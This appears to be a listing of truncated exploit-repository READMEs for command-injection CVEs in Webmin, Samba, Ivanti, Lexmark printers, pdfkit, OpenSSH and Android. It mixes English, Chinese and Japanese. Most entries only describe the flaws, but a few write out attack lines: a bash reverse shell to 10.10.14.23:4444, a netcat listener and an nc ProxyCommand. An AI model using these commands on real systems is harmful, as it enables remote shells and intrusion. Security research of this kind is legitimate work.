CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

CVE-2021-32158

..| XSStoCommandInjection1 |.. 描述： 利用反射型跨站脚本攻击（XSS）通过Webmin的上传和下载功能获取命令注入 测试版本： Webmin 1.973 GitHub最新版本 07/03/2021 攻击类型： 远程 影响： 命令执行 eXploit's C0de POC : 产品供应商： https://www.webmin.com 附加信息： "Webmin是一种基于Web的系统管理工具，适用于类Unix服务器和服务，全球安装量超过1,000,000。使用它，可以配置操作系统内部，如用户、磁盘配额、服务或配置文件，以及修改和控制开源应用程序，例如BIND...

Fastgate

TL;DR これは、Fastweb の Fastgate モデム/ルーターと Ghidra を使って遊んでいる際に発見した脆弱性 CVE-2019-12489 の簡単な報告書です。 この脆弱性により、HTTP リクエストを介してコマンドインジェクションが実行可能となり、SSH シェルを有効化するために使用できます。 ファームウェアの収集と展開 すべてのファームウェアファイルは http://59.0.121.191:8080/ACS-server/file/FILENAME にあります。 FILENAME は以下に等しい: 0.00.89FW200Askey...

TransitionPlayer

この問題は、2026年6月のAndroidセキュリティ情報でAndroid 14+向けに修正されました。パッチはこちらをクリック Writeup TODO 時間ができたらwriteupを完成させます でもその前に学校の課題と試験と戦わないといけません 試験が終わる前にセクションを完成させることにしました 自分に幸運を祈ります 😇 IApplicationThreadの紹介 IApplicationThreadは、システムがアプリにコマンドを送信するために使用するプライベートコールバックです（指定されたアプリのロード、コンポーネントライフサイクルの変更通知など）。...

CVE-2016-10033

CVE2016-10033 エクスプロイト PoC このリポジトリには、脆弱なバージョンのWordPress上でCVE2016-10033を悪用するために必要なファイルが含まれています。 これらの手順に従うことで、Apacheサーバーを実行しているユーザーとしてWordPressを実行しているコンテナ内で、リバースインタラクティブシェル（疑似TTYではない）を取得できます。 このエクスプロイトは、いかなる種類の認証やプラグインも必要としません。WordPressのプレーンなコードと、WordPressからメールを送信するためのExim4...

ble_norton_core

Norton Core Secure WiFi Router の BLE サービスにおけるコマンドインジェクション PoC CVE-2018-5234 詳細については 論文 をお読みください。 このエクスプロイトのデモには、以下を使用します: OS GNU/Linux; Bluetooth ドングルアダプター; BlueZ ユーティリティ Bluetooth 接続のテスト用。 スクリプトを使用するには、事前にすべての依存関係をセットアップする必要があります。 $ pip install -r ./requirements.txt BlueZ ユーティリティを使用して、Bluetooth...

CVE-2019-19919

CVE-2019-19919 Handlebars の下流コンポーネントが使用する出力内の特殊要素の不適切な無害化（'インジェクション'）の脆弱性 pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py ターゲット URL を入力: エクスプロイトの期待される出力: ターゲット URL を入力（例: http://example.com/render）: http://example.com/render 実行する OS...

CVE-2007-2447

CVE-2007-2447 Samba 漏洞利用程序 一个针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞的独立 Rust 实现。 漏洞描述 CVE-2007-2447 是 Samba 3.0.0 至 3.0.25rc3 版本中的一个命令注入漏洞。该漏洞存在于 SamrChangePassword 函数中，该函数未能正确清理用户输入，攻击者可以通过在 SMB 认证期间在用户名字段中使用 shell 元字符来执行任意命令。 前提条件 系统已安装 Rust 目标运行存在漏洞的 Samba 版本 目标必须安装有 netcat（通常默认安装） 使用方法...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x、22.x および Ivanti Policy Secure の Web コンポーネントにおける認証バイパスの脆弱性により、リモートの攻撃者が制御チェックをバイパスして制限されたリソースにアクセスできるようになります。 usage: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 注意事項: chmod +x CVE-2023-46805.sh 必要なアプリ: curl + jsonpp 結果:...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 コマンドインジェクションの脆弱性 poc 中国語 1.vim /.ssh/config または Windowsシステム上で C:/Users/username/.ssh/config を編集 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone https://github.com/WLaoDuo/CVE-2023-51385poc-test...

CVE-2025-61299_POC

CVE-2025-61299POC Nagios XI 2024R1 中的经过身份验证的命令注入 CVE-2025-61299...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 POCsuiteとgolandによるHuawei HG532ルーターのコマンドインジェクションCVE-2017-17215 POC golandによる実装 POCsuiteによる実装 書き方とコードはこちらをご覧ください： https://blog.csdn.net/qq41490561/article/details/127659604...

CVE-2024-10914

cve-2024-10914 cve-2024-10914 のエクスプロイト: D-Link DNS-320, DNS-320LW, DNS-325, DNS-340L Version 1.00, Version 1.01.0914.2012, Version 1.01, Version 1.02, Version 1.08 コマンドインジェクション...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 安全研究声明 本项目仅用于安全研究和教育目的。使用本工具进行未经授权的测试是非法的。作者不对任何滥用或损害负责。 📋 概述 CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞，允许具有 WRITESECURESETTINGS 权限的应用程序通过命令注入获得系统级权限执行。 本项目提供了该漏洞的详细技术分析、概念验证代码以及自动化部署工具。 ✨ 主要特性 📱 支持 Android 9-13 全版本 🛠️ 自动化部署脚本 🔄 反向 Shell 连接 📊 详细的技术文档 🎯 模块化设计 🐛...

CVE-2023-26067

CVE-2023-34362 コマンドインジェクション（CVE-2023-26067）を悪用して、Lexmark プリンターの資格情報ダンプ、リバースシェル、音楽再生を実現する PoC。 技術分析 脆弱性の根本原因分析は、弊社ブログをご覧ください： https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022 概要 この PoC はコマンドインジェクションを悪用し、httpd ユーザーとしてシェルを取得します。 平文の Active Directory...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 python3 -m http.server 80 启动一个 netcat 监听器 nc -nlvp 4444 使用 CURL 发送请求 curl 'TARGETADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 X1...

blogpost_cve-2018-19987-analysis

CVE-2018-19987 D-Link OS command injection analysis こんにちは！ この短いブログ記事では、CVE-2018-19987 の詳細をより深く理解するために行った簡単な分析を解説します。当初、この CVE には公開情報やエクスプロイトが存在しないと思って調査を始めました。最初の分析を終えた直後に、GitHub 上に二つの公開 PoC を見つけました。こちら と こちら です。 すでにほとんどの作業を終えており、完全な分析を見つけられなかったため、ブログ記事を書くことにしました。 お楽しみいただければ幸いです。 更新:...

TP-Link-WDR-Router-Command-injection_POC

このリポジトリには README がありません。...

CVE-2025-32433_PoC

CVE-2025-32433Erlang-OTP このスクリプトは、ErlangベースのSSHサーバー（組み込みシステム、IoTデバイス、一部のバックエンドサービスで使用されるものなど）を実行するシステムにおける、重大な事前認証の脆弱性をテストするために設計されたカスタムセキュリティツールです。...

CVE-2024-24576-PoC

CVE-2024-24576 PoC Command::arg および Command::args API は、ドキュメントにおいて、引数がそのまま生成されたプロセスに渡され、引数の内容にかかわらずシェルによって評価されることはないと述べています。つまり、信頼できない入力を引数として渡しても安全であるはずです。 Windows では、この実装は他のプラットフォームよりも複雑です。Windows API は生成されたプロセスに渡すすべての引数を含む単一の文字列しか提供せず、それらを分割するのは生成されたプロセスの役割だからです。ほとんどのプログラムは標準 C ランタイムの argv...